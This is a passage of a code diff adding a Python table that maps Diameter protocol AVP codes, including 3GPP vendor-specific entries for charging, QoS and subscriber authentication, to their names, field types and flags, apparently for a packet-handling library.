('CC-Unit-Type', AVP_0_454, 64), + 455: ('Multiple-Services-Indicator', AVP_0_455, 64), + 456: ('Multiple-Services-Credit-Control', AVPNV_Grouped, 64), + 457: ('G-S-U-Pool-Reference', AVPNV_Grouped, 64), + 458: ('User-Equipment-Info', AVPNV_Grouped, 0), + 459: ('User-Equipment-Info-Type', AVP_0_459, 0), + 460: ('User-Equipment-Info-Value', AVPNV_OctetString, 0), + 461: ('Service-Context-Id', AVPNV_StrLenField, 64), + 462: ('EAP-Payload', AVPNV_OctetString, 64), + 463: ('EAP-Reissued-Payload', AVPNV_OctetString, 64), + 464: ('EAP-Master-Session-Key', AVPNV_OctetString, 64), + 465: ('Accounting-EAP-Auth-Method', AVPNV_Unsigned64, 64), + 480: ('Accounting-Record-Type', AVP_0_480, 64), + 483: ('Accounting-Realtime-Required', AVP_0_483, 64), + 485: ('Accounting-Record-Number', AVPNV_Unsigned32, 64), + 486: ('MIP6-Agent-Info', AVPNV_Grouped, 64), + 487: ('MIP-Careof-Address', AVPNV_Address, 64), + 488: ('MIP-Authenticator', AVPNV_OctetString, 64), + 489: ('MIP-MAC-Mobility-Data', AVPNV_OctetString, 64), + 490: ('MIP-Timestamp', AVPNV_OctetString, 64), + 491: ('MIP-MN-HA-SPI', AVPNV_Unsigned32, 64), + 492: ('MIP-MN-HA-MSA', AVPNV_Grouped, 64), + 493: ('Service-Selection', AVPNV_StrLenField, 64), + 494: ('MIP6-Auth-Mode', AVP_0_494, 64), + 506: ('Mobile-Node-Identifier', AVPNV_StrLenField, 64), + 508: ('QoS-Resources', AVPNV_Grouped, 64), + 509: ('Filter-Rule', AVPNV_Grouped, 64), + 510: ('Filter-Rule-Precedence', AVPNV_Unsigned32, 64), + 511: ('Classifier', AVPNV_Grouped, 64), + 512: ('Classifier-ID', AVPNV_OctetString, 64), + 513: ('Protocol', AVP_0_513, 64), + 514: ('Direction', AVP_0_514, 64), + 515: ('From-Spec', AVPNV_Grouped, 64), + 516: ('To-Spec', AVPNV_Grouped, 64), + 517: ('Negated', AVP_0_517, 64), + 518: ('IP-Address', AVPNV_Address, 64), + 519: ('IP-Address-Range', AVPNV_Grouped, 64), + 520: ('IP-Address-Start', AVPNV_Address, 64), + 521: ('IP-Address-End', AVPNV_Address, 64), + 522: ('IP-Address-Mask', AVPNV_Grouped, 64), + 523: ('IP-Mask-Bit-Mask-Width', AVPNV_Unsigned32, 64), + 524: ('MAC-Address', AVPNV_OctetString, 64), + 525: ('MAC-Address-Mask', AVPNV_Grouped, 64), + 526: ('MAC-Address-Mask-Pattern', AVPNV_OctetString, 64), + 527: ('EUI64-Address', AVPNV_OctetString, 64), + 528: ('EUI64-Address-Mask', AVPNV_Grouped, 64), + 529: ('EUI64-Address-Mask-Pattern', AVPNV_OctetString, 64), + 530: ('Port', AVPNV_Integer32, 64), + 531: ('Port-Range', AVPNV_Grouped, 64), + 532: ('Port-Start', AVPNV_Integer32, 64), + 533: ('Port-End', AVPNV_Integer32, 64), + 534: ('Use-Assigned-Address', AVP_0_534, 64), + 535: ('Diffserv-Code-Point', AVP_0_535, 64), + 536: ('Fragmentation-Flag', AVP_0_536, 64), + 537: ('IP-Option', AVPNV_Grouped, 64), + 538: ('IP-Option-Type', AVP_0_538, 64), + 539: ('IP-Option-Value', AVPNV_OctetString, 64), + 540: ('TCP-Option', AVPNV_Grouped, 64), + 541: ('TCP-Option-Type', AVP_0_541, 64), + 542: ('TCP-Option-Value', AVPNV_OctetString, 64), + 543: ('TCP-Flags', AVPNV_Grouped, 64), + 544: ('TCP-Flag-Type', AVPNV_Unsigned32, 64), + 545: ('ICMP-Type', AVPNV_Grouped, 64), + 546: ('ICMP-Type-Number', AVP_0_546, 64), + 547: ('ICMP-Code', AVP_0_547, 64), + 548: ('ETH-Option', AVPNV_Grouped, 64), + 549: ('ETH-Proto-Type', AVPNV_Grouped, 64), + 550: ('ETH-Ether-Type', AVPNV_OctetString, 64), + 551: ('ETH-SAP', AVPNV_OctetString, 64), + 552: ('VLAN-ID-Range', AVPNV_Grouped, 64), + 553: ('S-VID-Start', AVPNV_Unsigned32, 64), + 554: ('S-VID-End', AVPNV_Unsigned32, 64), + 555: ('C-VID-Start', AVPNV_Unsigned32, 64), + 556: ('C-VID-End', AVPNV_Unsigned32, 64), + 557: ('User-Priority-Range', AVPNV_Grouped, 64), + 558: ('Low-User-Priority', AVPNV_Unsigned32, 64), + 559: ('High-User-Priority', AVPNV_Unsigned32, 64), + 560: ('Time-Of-Day-Condition', AVPNV_Grouped, 64), + 561: ('Time-Of-Day-Start', AVPNV_Unsigned32, 64), + 562: ('Time-Of-Day-End', AVPNV_Unsigned32, 64), + 563: ('Day-Of-Week-Mask', AVPNV_Unsigned32, 64), + 564: ('Day-Of-Month-Mask', AVPNV_Unsigned32, 64), + 565: ('Month-Of-Year-Mask', AVPNV_Unsigned32, 64), + 566: ('Absolute-Start-Time', AVPNV_Time, 64), + 567: ('Absolute-Start-Fractional-Seconds', AVPNV_Unsigned32, 64), + 568: ('Absolute-End-Time', AVPNV_Time, 64), + 569: ('Absolute-End-Fractional-Seconds', AVPNV_Unsigned32, 64), + 570: ('Timezone-Flag', AVP_0_570, 64), + 571: ('Timezone-Offset', AVPNV_Integer32, 64), + 572: ('Treatment-Action', AVPNV_Grouped, 64), + 573: ('QoS-Profile-Id', AVPNV_Unsigned32, 64), + 574: ('QoS-Profile-Template', AVPNV_Grouped, 64), + 575: ('QoS-Semantics', AVP_0_575, 64), + 576: ('QoS-Parameters', AVPNV_Grouped, 64), + 577: ('Excess-Treatment', AVPNV_Grouped, 64), + 578: ('QoS-Capability', AVPNV_Grouped, 64), + 618: ('ERP-RK-Request', AVPNV_Grouped, 64), + 619: ('ERP-Realm', AVPNV_StrLenField, 64), + }, + 10415: { + 13: ('3GPP-Charging-Characteristics', AVPV_StrLenField, 192), + 318: ('3GPP-AAA-Server-Name', AVPV_StrLenField, 192), + 500: ('Abort-Cause', AVP_10415_500, 192), + 501: ('Access-Network-Charging-Address', AVPV_Address, 192), + 502: ('Access-Network-Charging-Identifier', AVPV_Grouped, 192), + 503: ('Access-Network-Charging-Identifier-Value', AVPV_OctetString, 192), # noqa: E501 + 504: ('AF-Application-Identifier', AVPV_OctetString, 192), + 505: ('AF-Charging-Identifier', AVPV_OctetString, 192), + 506: ('Authorization-Token', AVPV_OctetString, 192), + 507: ('Flow-Description', AVPV_IPFilterRule, 192), + 508: ('Flow-Grouping', AVPV_Grouped, 192), + 509: ('Flow-Number', AVPV_Unsigned32, 192), + 510: ('Flows', AVPV_Grouped, 192), + 511: ('Flow-Status', AVP_10415_511, 192), + 512: ('Flow-Usage', AVP_10415_512, 192), + 513: ('Specific-Action', AVP_10415_513, 192), + 515: ('Max-Requested-Bandwidth-DL', AVPV_Unsigned32, 192), + 516: ('Max-Requested-Bandwidth-UL', AVPV_Unsigned32, 192), + 517: ('Media-Component-Description', AVPV_Grouped, 192), + 518: ('Media-Component-Number', AVPV_Unsigned32, 192), + 519: ('Media-Sub-Component', AVPV_Grouped, 192), + 520: ('Media-Type', AVP_10415_520, 192), + 521: ('RR-Bandwidth', AVPV_Unsigned32, 192), + 522: ('RS-Bandwidth', AVPV_Unsigned32, 192), + 523: ('SIP-Forking-Indication', AVP_10415_523, 192), + 525: ('Service-URN', AVPV_OctetString, 192), + 526: ('Acceptable-Service-Info', AVPV_Grouped, 192), + 527: ('Service-Info-Status', AVP_10415_527, 192), + 528: ('MPS-Identifier', AVPV_OctetString, 128), + 529: ('AF-Signalling-Protocol', AVP_10415_529, 128), + 531: ('Sponsor-Identity', AVPV_StrLenField, 128), + 532: ('Application-Service-Provider-Identity', AVPV_StrLenField, 128), + 533: ('Rx-Request-Type', AVP_10415_533, 128), + 534: ('Min-Requested-Bandwidth-DL', AVPV_Unsigned32, 128), + 535: ('Min-Requested-Bandwidth-UL', AVPV_Unsigned32, 128), + 536: ('Required-Access-Info', AVP_10415_536, 128), + 537: ('IP-Domain-Id', AVPV_OctetString, 128), + 538: ('GCS-Identifier', AVPV_OctetString, 128), + 539: ('Sharing-Key-DL', AVPV_Unsigned32, 128), + 540: ('Sharing-Key-UL', AVPV_Unsigned32, 128), + 541: ('Retry-Interval', AVPV_Unsigned32, 128), + 600: ('Visited-Network-Identifier', AVPV_OctetString, 192), + 601: ('Public-Identity', AVPV_StrLenField, 192), + 602: ('Server-Name', AVPV_StrLenField, 192), + 603: ('Server-Capabilities', AVPV_Grouped, 192), + 604: ('Mandatory-Capability', AVPV_Unsigned32, 192), + 605: ('Optional-Capability', AVPV_Unsigned32, 192), + 606: ('User-Data', AVPV_OctetString, 192), + 607: ('SIP-Number-Auth-Items', AVPV_Unsigned32, 192), + 608: ('SIP-Authentication-Scheme', AVPV_StrLenField, 192), + 609: ('SIP-Authenticate', AVPV_OctetString, 192), + 610: ('SIP-Authorization', AVPV_OctetString, 192), + 611: ('SIP-Authentication-Context', AVPV_OctetString, 192), + 612: ('SIP-Auth-Data-Item', AVPV_Grouped, 192), + 613: ('SIP-Item-Number', AVPV_Unsigned32, 192), + 614: ('Server-Assignment-Type', AVP_10415_614, 192), + 615: ('Deregistration-Reason', AVPV_Grouped, 192), + 616: ('Reason-Code', AVP_10415_616, 192), + 617: ('Reason-Info', AVPV_StrLenField, 192), + 618: ('Charging-Information', AVPV_Grouped, 192), + 619: ('Primary-Event-Charging-Function-Name', AVPV_StrLenField, 192), + 620: ('Secondary-Event-Charging-Function-Name', AVPV_StrLenField, 192), + 621: ('Primary-Charging-Collection-Function-Name', AVPV_StrLenField, 192), # noqa: E501 + 622: ('Secondary-Charging-Collection-Function-Name', AVPV_StrLenField, 192), # noqa: E501 + 623: ('User-Authorization-Type', AVP_10415_623, 192), + 624: ('User-Data-Already-Available', AVP_10415_624, 192), + 625: ('Confidentiality-Key', AVPV_OctetString, 192), + 626: ('Integrity-Key', AVPV_OctetString, 192), + 628: ('Supported-Features', AVPV_Grouped, 128), + 629: ('Feature-List-ID', AVPV_Unsigned32, 128), + 630: ('Feature-List', AVP_10415_630, 128), + 631: ('Supported-Applications', AVPV_Grouped, 128), + 632: ('Associated-Identities', AVPV_Grouped, 128), + 633: ('Originating-Request', AVP_10415_633, 192), + 634: ('Wildcarded-Public-Identity', AVPV_StrLenField, 128), + 635: ('SIP-Digest-Authenticate', AVPV_Grouped, 128), + 636: ('Wildcarded-IMPU', AVPV_StrLenField, 128), + 637: ('UAR-Flags', AVPV_Unsigned32, 128), + 638: ('Loose-Route-Indication', AVP_10415_638, 128), + 639: ('SCSCF-Restoration-Info', AVPV_Grouped, 128), + 640: ('Path', AVPV_OctetString, 128), + 641: ('Contact', AVPV_OctetString, 128), + 642: ('Subscription-Info', AVPV_Grouped, 128), + 643: ('Call-ID-SIP-Header', AVPV_OctetString, 128), + 644: ('From-SIP-Header', AVPV_OctetString, 128), + 645: ('To-SIP-Header', AVPV_OctetString, 128), + 646: ('Record-Route', AVPV_OctetString, 128), + 647: ('Associated-Registered-Identities', AVPV_Grouped, 128), + 648: ('Multiple-Registration-Indication', AVP_10415_648, 128), + 649: ('Restoration-Info', AVPV_Grouped, 128), + 650: ('Session-Priority', AVP_10415_650, 128), + 651: ('Identity-with-Emergency-Registration', AVPV_Grouped, 128), + 652: ('Priviledged-Sender-Indication', AVP_10415_652, 128), + 653: ('LIA-Flags', AVPV_Unsigned32, 128), + 654: ('Initial-CSeq-Sequence-Number', AVPV_Unsigned32, 128), + 655: ('SAR-Flags', AVPV_Unsigned32, 128), + 700: ('User-Identity', AVPV_Grouped, 192), + 701: ('MSISDN', AVP_10415_701, 192), + 702: ('User-Data', AVPV_OctetString, 192), + 703: ('Data-Reference', AVP_10415_703, 192), + 704: ('Service-Indication', AVPV_OctetString, 192), + 705: ('Subs-Req-Type', AVP_10415_705, 192), + 706: ('Requested-Domain', AVP_10415_706, 192), + 707: ('Current-Location', AVP_10415_707, 192), + 708: ('Identity-Set', AVP_10415_708, 128), + 709: ('Expiry-Time', AVPV_Time, 128), + 710: ('Send-Data-Indication', AVP_10415_710, 128), + 711: ('DSAI-Tag', AVPV_OctetString, 192), + 712: ('One-Time-Notification', AVP_10415_712, 128), + 713: ('Requested-Nodes', AVPV_Unsigned32, 128), + 714: ('Serving-Node-Indication', AVP_10415_714, 128), + 715: ('Repository-Data-ID', AVPV_Grouped, 128), + 716: ('Sequence-Number', AVPV_Unsigned32, 128), + 717: ('Pre-paging-Supported', AVP_10415_717, 128), + 718: ('Local-Time-Zone-Indication', AVP_10415_718, 128), + 719: ('UDR-Flags', AVPV_Unsigned32, 128), + 720: ('Call-Reference-Info', AVPV_Grouped, 128), + 721: ('Call-Reference-Number', AVPV_OctetString, 128), + 722: ('AS-Number', AVPV_OctetString, 128), + 823: ('Event-Type', AVPV_Grouped, 192), + 824: ('SIP-Method', AVPV_StrLenField, 192), + 825: ('Event', AVPV_StrLenField, 192), + 826: ('Content-Type', AVPV_StrLenField, 192), + 827: ('Content-Length', AVPV_Unsigned32, 192), + 828: ('Content-Disposition', AVPV_StrLenField, 192), + 829: ('Role-Of-Node', AVP_10415_829, 192), + 830: ('Session-Id', AVPV_StrLenField, 192), + 831: ('Calling-Party-Address', AVPV_StrLenField, 192), + 832: ('Called-Party-Address', AVPV_StrLenField, 192), + 833: ('Time-Stamps', AVPV_Grouped, 192), + 834: ('SIP-Request-Timestamp', AVPV_Time, 192), + 835: ('SIP-Response-Timestamp', AVPV_Time, 192), + 836: ('Application-Server', AVPV_StrLenField, 192), + 837: ('Application-provided-called-party-address', AVPV_StrLenField, 192), # noqa: E501 + 838: ('Inter-Operator-Identifier', AVPV_Grouped, 192), + 839: ('Originating-IOI', AVPV_StrLenField, 192), + 840: ('Terminating-IOI', AVPV_StrLenField, 192), + 841: ('IMS-Charging-Identifier', AVPV_StrLenField, 192), + 842: ('SDP-Session-Description', AVPV_StrLenField, 192), + 843: ('SDP-Media-Component', AVPV_Grouped, 192), + 844: ('SDP-Media-Name', AVPV_StrLenField, 192), + 845: ('SDP-Media-Description', AVPV_StrLenField, 192), + 846: ('CG-Address', AVPV_Address, 192), + 847: ('GGSN-Address', AVPV_Address, 192), + 848: ('Served-Party-IP-Address', AVPV_Address, 192), + 849: ('Authorised-QoS', AVPV_StrLenField, 192), + 850: ('Application-Server-Information', AVPV_Grouped, 192), + 851: ('Trunk-Group-Id', AVPV_Grouped, 192), + 852: ('Incoming-Trunk-Group-Id', AVPV_StrLenField, 192), + 853: ('Outgoing-Trunk-Group-Id', AVPV_StrLenField, 192), + 854: ('Bearer-Service', AVPV_OctetString, 192), + 855: ('Service-Id', AVPV_StrLenField, 192), + 856: ('Associated-URI', AVPV_StrLenField, 192), + 857: ('Charged-Party', AVPV_StrLenField, 192), + 858: ('PoC-Controlling-Address', AVPV_StrLenField, 192), + 859: ('PoC-Group-Name', AVPV_StrLenField, 192), + 861: ('Cause-Code', AVPV_Integer32, 192), + 862: ('Node-Functionality', AVP_10415_862, 192), + 864: ('Originator', AVP_10415_864, 192), + 865: ('PS-Furnish-Charging-Information', AVPV_Grouped, 192), + 866: ('PS-Free-Format-Data', AVPV_OctetString, 192), + 867: ('PS-Append-Free-Format-Data', AVP_10415_867, 192), + 868: ('Time-Quota-Threshold', AVPV_Unsigned32, 192), + 869: ('Volume-Quota-Threshold', AVPV_Unsigned32, 192), + 870: ('Trigger-Type', AVP_10415_870, 192), + 871: ('Quota-Holding-Time', AVPV_Unsigned32, 192), + 872: ('Reporting-Reason', AVP_10415_872, 192), + 873: ('Service-Information', AVPV_Grouped, 192), + 874: ('PS-Information', AVPV_Grouped, 192), + 876: ('IMS-Information', AVPV_Grouped, 192), + 877: ('MMS-Information', AVPV_Grouped, 192), + 878: ('LCS-Information', AVPV_Grouped, 192), + 879: ('PoC-Information', AVPV_Grouped, 192), + 880: ('MBMS-Information', AVPV_Grouped, 192), + 881: ('Quota-Consumption-Time', AVPV_Unsigned32, 192), + 882: ('Media-Initiator-Flag', AVP_10415_882, 192), + 883: ('PoC-Server-Role', AVP_10415_883, 192), + 884: ('PoC-Session-Type', AVP_10415_884, 192), + 885: ('Number-Of-Participants', AVPV_Unsigned32, 192), + 887: ('Participants-Involved', AVPV_StrLenField, 192), + 888: ('Expires', AVPV_Unsigned32, 192), + 889: ('Message-Body', AVPV_Grouped, 192), + 897: ('Address-Data', AVPV_StrLenField, 192), + 898: ('Address-Domain', AVPV_Grouped, 192), + 899: ('Address-Type', AVP_10415_899, 192), + 900: ('TMGI', AVPV_OctetString, 192), + 901: ('Required-MBMS-Bearer-Capabilities', AVPV_StrLenField, 192), + 902: ('MBMS-StartStop-Indication', AVP_10415_902, 192), + 903: ('MBMS-Service-Area', AVPV_OctetString, 192), + 904: ('MBMS-Session-Duration', AVPV_OctetString, 192), + 905: ('Alternative-APN', AVPV_StrLenField, 192), + 906: ('MBMS-Service-Type', AVP_10415_906, 192), + 907: ('MBMS-2G-3G-Indicator', AVP_10415_907, 192), + 909: ('RAI', AVPV_StrLenField, 192), + 910: ('Additional-MBMS-Trace-Info', AVPV_OctetString, 192), + 911: ('MBMS-Time-To-Data-Transfer', AVPV_OctetString, 192), + 920: ('MBMS-Flow-Identifier', AVPV_OctetString, 192), + 921: ('CN-IP-Multicast-Distribution', AVP_10415_921, 192), + 922: ('MBMS-HC-Indicator', AVP_10415_922, 192), + 1000: ('Bearer-Usage', AVP_10415_1000, 192), + 1001: ('Charging-Rule-Install', AVPV_Grouped, 192), + 1002: ('Charging-Rule-Remove', AVPV_Grouped, 192), + 1003: ('Charging-Rule-Definition', AVPV_Grouped, 192), + 1004: ('Charging-Rule-Base-Name', AVPV_StrLenField, 192), + 1005: ('Charging-Rule-Name', AVPV_OctetString, 192), + 1006: ('Event-Trigger', AVP_10415_1006, 192), + 1007: ('Metering-Method', AVP_10415_1007, 192), + 1008: ('Offline', AVP_10415_1008, 192), + 1009: ('Online', AVP_10415_1009, 192), + 1010: ('Precedence', AVPV_Unsigned32, 192), + 1011: ('Reporting-Level', AVP_10415_1011, 192), + 1012: ('TFT-Filter', AVPV_IPFilterRule, 192), + 1013: ('TFT-Packet-Filter-Information', AVPV_Grouped, 192), + 1014: ('ToS-Traffic-Class', AVPV_OctetString, 192), + 1015: ('PDP-Session-Operation', AVP_10415_1015, 192), + 1018: ('Charging-Rule-Report', AVPV_Grouped, 192), + 1019: ('PCC-Rule-Status', AVP_10415_1019, 192), + 1020: ('Bearer-Identifier', AVPV_OctetString, 192), + 1021: ('Bearer-Operation', AVP_10415_1021, 192), + 1022: ('Access-Network-Charging-Identifier-Gx', AVPV_Grouped, 192), + 1023: ('Bearer-Control-Mode', AVP_10415_1023, 192), + 1024: ('Network-Request-Support', AVP_10415_1024, 192), + 1025: ('Guaranteed-Bitrate-DL', AVPV_Unsigned32, 192), + 1026: ('Guaranteed-Bitrate-UL', AVPV_Unsigned32, 192), + 1027: ('IP-CAN-Type', AVP_10415_1027, 192), + 1028: ('QoS-Class-Identifier', AVP_10415_1028, 192), + 1032: ('RAT-Type', AVP_10415_1032, 128), + 1033: ('Event-Report-Indication', AVPV_Grouped, 128), + 1034: ('Allocation-Retention-Priority', AVPV_Grouped, 128), + 1035: ('CoA-IP-Address', AVPV_Address, 128), + 1036: ('Tunnel-Header-Filter', AVPV_IPFilterRule, 128), + 1037: ('Tunnel-Header-Length', AVPV_Unsigned32, 128), + 1038: ('Tunnel-Information', AVPV_Grouped, 128), + 1039: ('CoA-Information', AVPV_Grouped, 128), + 1040: ('APN-Aggregate-Max-Bitrate-DL', AVPV_Unsigned32, 128), + 1041: ('APN-Aggregate-Max-Bitrate-UL', AVPV_Unsigned32, 128), + 1042: ('Revalidation-Time', AVPV_Time, 192), + 1043: ('Rule-Activation-Time', AVPV_Time, 192), + 1044: ('Rule-Deactivation-Time', AVPV_Time, 192), + 1045: ('Session-Release-Cause', AVP_10415_1045, 192), + 1046: ('Priority-Level', AVPV_Unsigned32, 128), + 1047: ('Pre-emption-Capability', AVP_10415_1047, 128), + 1048: ('Pre-emption-Vulnerability', AVP_10415_1048, 128), + 1049: ('Default-EPS-Bearer-QoS', AVPV_Grouped, 128), + 1050: ('AN-GW-Address', AVPV_Address, 128), + 1056: ('Security-Parameter-Index', AVPV_OctetString, 128), + 1057: ('Flow-Label', AVPV_OctetString, 128), + 1058: ('Flow-Information', AVPV_Grouped, 128), + 1059: ('Packet-Filter-Content', AVPV_IPFilterRule, 128), + 1060: ('Packet-Filter-Identifier', AVPV_OctetString, 128), + 1061: ('Packet-Filter-Information', AVPV_Grouped, 128), + 1062: ('Packet-Filter-Operation', AVP_10415_1062, 128), + 1063: ('Resource-Allocation-Notification', AVP_10415_1063, 128), + 1065: ('PDN-Connection-ID', AVPV_OctetString, 128), + 1066: ('Monitoring-Key', AVPV_OctetString, 128), + 1067: ('Usage-Monitoring-Information', AVPV_Grouped, 128), + 1068: ('Usage-Monitoring-Level', AVP_10415_1068, 128), + 1069: ('Usage-Monitoring-Report', AVP_10415_1069, 128), + 1070: ('Usage-Monitoring-Support', AVP_10415_1070, 128), + 1071: ('CSG-Information-Reporting', AVP_10415_1071, 128), + 1072: ('Packet-Filter-Usage', AVP_10415_1072, 128), + 1073: ('Charging-Correlation-Indicator', AVP_10415_1073, 128), + 1075: ('Routing-Rule-Remove', AVPV_Grouped, 128), + 1076: ('Routing-Rule-Definition', AVPV_Grouped, 128), + 1077: ('Routing-Rule-Identifier', AVPV_OctetString, 128), + 1078: ('Routing-Filter', AVPV_Grouped, 128), + 1079: ('Routing-IP-Address', AVPV_Address, 128), + 1080: ('Flow-Direction', AVP_10415_1080, 128), + 1082: ('Credit-Management-Status', AVPV_Unsigned32, 128), + 1085: ('Redirect-Information', AVPV_Grouped, 128), + 1086: ('Redirect-Support', AVP_10415_1086, 128), + 1087: ('TDF-Information', AVPV_Grouped, 128), + 1088: ('TDF-Application-Identifier', AVPV_OctetString, 128), + 1089: ('TDF-Destination-Host', AVPV_StrLenField, 128), + 1090: ('TDF-Destination-Realm', AVPV_StrLenField, 128), + 1091: ('TDF-IP-Address', AVPV_Address, 128), + 1098: ('Application-Detection-Information', AVPV_Grouped, 128), + 1099: ('PS-to-CS-Session-Continuity', AVP_10415_1099, 128), + 1200: ('Domain-Name', AVPV_StrLenField, 192), + 1203: ('MM-Content-Type', AVPV_Grouped, 192), + 1204: ('Type-Number', AVP_10415_1204, 192), + 1205: ('Additional-Type-Information', AVPV_StrLenField, 192), + 1206: ('Content-Size', AVPV_Unsigned32, 192), + 1207: ('Additional-Content-Information', AVPV_Grouped, 192), + 1208: ('Addressee-Type', AVP_10415_1208, 192), + 1209: ('Priority', AVP_10415_1209, 192), + 1211: ('Message-Type', AVP_10415_1211, 192), + 1212: ('Message-Size', AVPV_Unsigned32, 192), + 1213: ('Message-Class', AVPV_Grouped, 192), + 1214: ('Class-Identifier', AVP_10415_1214, 192), + 1215: ('Token-Text', AVPV_StrLenField, 192), + 1216: ('Delivery-Report-Requested', AVP_10415_1216, 192), + 1217: ('Adaptations', AVP_10415_1217, 192), + 1218: ('Applic-ID', AVPV_StrLenField, 192), + 1219: ('Aux-Applic-Info', AVPV_StrLenField, 192), + 1220: ('Content-Class', AVP_10415_1220, 192), + 1221: ('DRM-Content', AVP_10415_1221, 192), + 1222: ('Read-Reply-Report-Requested', AVP_10415_1222, 192), + 1223: ('Reply-Applic-ID', AVPV_StrLenField, 192), + 1224: ('File-Repair-Supported', AVP_10415_1224, 192), + 1225: ('MBMS-User-Service-Type', AVP_10415_1225, 192), + 1226: ('Unit-Quota-Threshold', AVPV_Unsigned32, 192), + 1227: ('PDP-Address', AVPV_Address, 192), + 1228: ('SGSN-Address', AVPV_Address, 192), + 1229: ('PoC-Session-Id', AVPV_StrLenField, 192), + 1230: ('Deferred-Location-Event-Type', AVPV_StrLenField, 192), + 1231: ('LCS-APN', AVPV_StrLenField, 192), + 1245: ('Positioning-Data', AVPV_StrLenField, 192), + 1247: ('PDP-Context-Type', AVP_10415_1247, 192), + 1248: ('MMBox-Storage-Requested', AVP_10415_1248, 192), + 1250: ('Called-Asserted-Identity', AVPV_StrLenField, 192), + 1251: ('Requested-Party-Address', AVPV_StrLenField, 192), + 1252: ('PoC-User-Role', AVPV_Grouped, 192), + 1253: ('PoC-User-Role-IDs', AVPV_StrLenField, 192), + 1254: ('PoC-User-Role-info-Units', AVP_10415_1254, 192), + 1255: ('Talk-Burst-Exchange', AVPV_Grouped, 192), + 1258: ('Event-Charging-TimeStamp', AVPV_Time, 192), + 1259: ('Participant-Access-Priority', AVP_10415_1259, 192), + 1260: ('Participant-Group', AVPV_Grouped, 192), + 1261: ('PoC-Change-Condition', AVP_10415_1261, 192), + 1262: ('PoC-Change-Time', AVPV_Time, 192), + 1263: ('Access-Network-Information', AVPV_OctetString, 192), + 1264: ('Trigger', AVPV_Grouped, 192), + 1265: ('Base-Time-Interval', AVPV_Unsigned32, 192), + 1266: ('Envelope', AVPV_Grouped, 192), + 1267: ('Envelope-End-Time', AVPV_Time, 192), + 1268: ('Envelope-Reporting', AVP_10415_1268, 192), + 1269: ('Envelope-Start-Time', AVPV_Time, 192), + 1270: ('Time-Quota-Mechanism', AVPV_Grouped, 192), + 1271: ('Time-Quota-Type', AVP_10415_1271, 192), + 1272: ('Early-Media-Description', AVPV_Grouped, 192), + 1273: ('SDP-TimeStamps', AVPV_Grouped, 192), + 1274: ('SDP-Offer-Timestamp', AVPV_Time, 192), + 1275: ('SDP-Answer-Timestamp', AVPV_Time, 192), + 1276: ('AF-Correlation-Information', AVPV_Grouped, 192), + 1277: ('PoC-Session-Initiation-Type', AVP_10415_1277, 192), + 1278: ('Offline-Charging', AVPV_Grouped, 192), + 1279: ('User-Participating-Type', AVP_10415_1279, 192), + 1281: ('IMS-Communication-Service-Identifier', AVPV_StrLenField, 192), + 1282: ('Number-Of-Received-Talk-Bursts', AVPV_Unsigned32, 192), + 1283: ('Number-Of-Talk-Bursts', AVPV_Unsigned32, 192), + 1284: ('Received-Talk-Burst-Time', AVPV_Unsigned32, 192), + 1285: ('Received-Talk-Burst-Volume', AVPV_Unsigned32, 192), + 1286: ('Talk-Burst-Time', AVPV_Unsigned32, 192), + 1287: ('Talk-Burst-Volume', AVPV_Unsigned32, 192), + 1288: ('Media-Initiator-Party', AVPV_StrLenField, 192), + 1400: ('Subscription-Data', AVPV_Grouped, 192), + 1401: ('Terminal-Information', AVPV_Grouped, 192), + 1402: ('IMEI', AVPV_StrLenField, 192), + 1403: ('Software-Version', AVPV_StrLenField, 192), + 1404: ('QoS-Subscribed', AVPV_OctetString, 192), + 1405: ('ULR-Flags', AVPV_Unsigned32, 192), + 1406: ('ULA-Flags', AVPV_Unsigned32, 192), + 1407: ('Visited-PLMN-Id', AVPV_OctetString, 192), + 1408: ('Requested-EUTRAN-Authentication-Info', AVPV_Grouped, 192), + 1409: ('GERAN-Authentication-Info', AVPV_Grouped, 192), + 1410: ('Number-Of-Requested-Vectors', AVPV_Unsigned32, 192), + 1411: ('Re-Synchronization-Info', AVPV_OctetString, 192), + 1412: ('Immediate-Response-Preferred', AVPV_Unsigned32, 192), + 1413: ('Authentication-Info', AVPV_Grouped, 192), + 1414: ('E-UTRAN-Vector', AVPV_Grouped, 192), + 1415: ('UTRAN-Vector', AVPV_Grouped, 192), + 1416: ('GERAN-Vector', AVPV_Grouped, 192), + 1417: ('Network-Access-Mode', AVP_10415_1417, 192), + 1418: ('HPLMN-ODB', AVPV_Unsigned32, 192), + 1419: ('Item-Number', AVPV_Unsigned32, 192), + 1420: ('Cancellation-Type', AVP_10415_1420, 192), + 1421: ('DSR-Flags', AVPV_Unsigned32, 192), + 1422: ('DSA-Flags', AVPV_Unsigned32, 192), + 1423: ('Context-Identifier', AVPV_Unsigned32, 192), + 1424: ('Subscriber-Status', AVP_10415_1424, 192), + 1425: ('Operator-Determined-Barring', AVPV_Unsigned32, 192), + 1426: ('Access-Restriction-Data', AVPV_Unsigned32, 192), + 1427: ('APN-OI-Replacement', AVPV_StrLenField, 192), + 1428: ('All-APN-Configurations-Included-Indicator', AVP_10415_1428, 192), # noqa: E501 + 1429: ('APN-Configuration-Profile', AVPV_Grouped, 192), + 1430: ('APN-Configuration', AVPV_Grouped, 192), + 1431: ('EPS-Subscribed-QoS-Profile', AVPV_Grouped, 192), + 1432: ('VPLMN-Dynamic-Address-Allowed', AVP_10415_1432, 192), + 1433: ('STN-SR', AVPV_OctetString, 192), + 1434: ('Alert-Reason', AVP_10415_1434, 192), + 1435: ('AMBR', AVPV_Grouped, 192), + 1437: ('CSG-Id', AVPV_Unsigned32, 192), + 1438: ('PDN-GW-Allocation-Type', AVP_10415_1438, 192), + 1439: ('Expiration-Date', AVPV_Time, 192), + 1440: ('RAT-Frequency-Selection-Priority-ID', AVPV_Unsigned32, 192), + 1441: ('IDA-Flags', AVPV_Unsigned32, 192), + 1442: ('PUA-Flags', AVPV_Unsigned32, 192), + 1443: ('NOR-Flags', AVPV_Unsigned32, 192), + 1444: ('User-Id', AVPV_StrLenField, 128), + 1445: ('Equipment-Status', AVP_10415_1445, 192), + 1446: ('Regional-Subscription-Zone-Code', AVPV_OctetString, 192), + 1447: ('RAND', AVPV_OctetString, 192), + 1448: ('XRES', AVPV_OctetString, 192), + 1449: ('AUTN', AVPV_OctetString, 192), + 1450: ('KASME', AVPV_OctetString, 192), + 1452: ('Trace-Collection-Entity', AVPV_Address, 192), + 1453: ('Kc', AVPV_OctetString, 192), + 1454: ('SRES', AVPV_OctetString, 192), + 1456: ('PDN-Type', AVP_10415_1456, 192), + 1457: ('Roaming-Restricted-Due-To-Unsupported-Feature', AVP_10415_1457, 192), # noqa: E501 + 1458: ('Trace-Data', 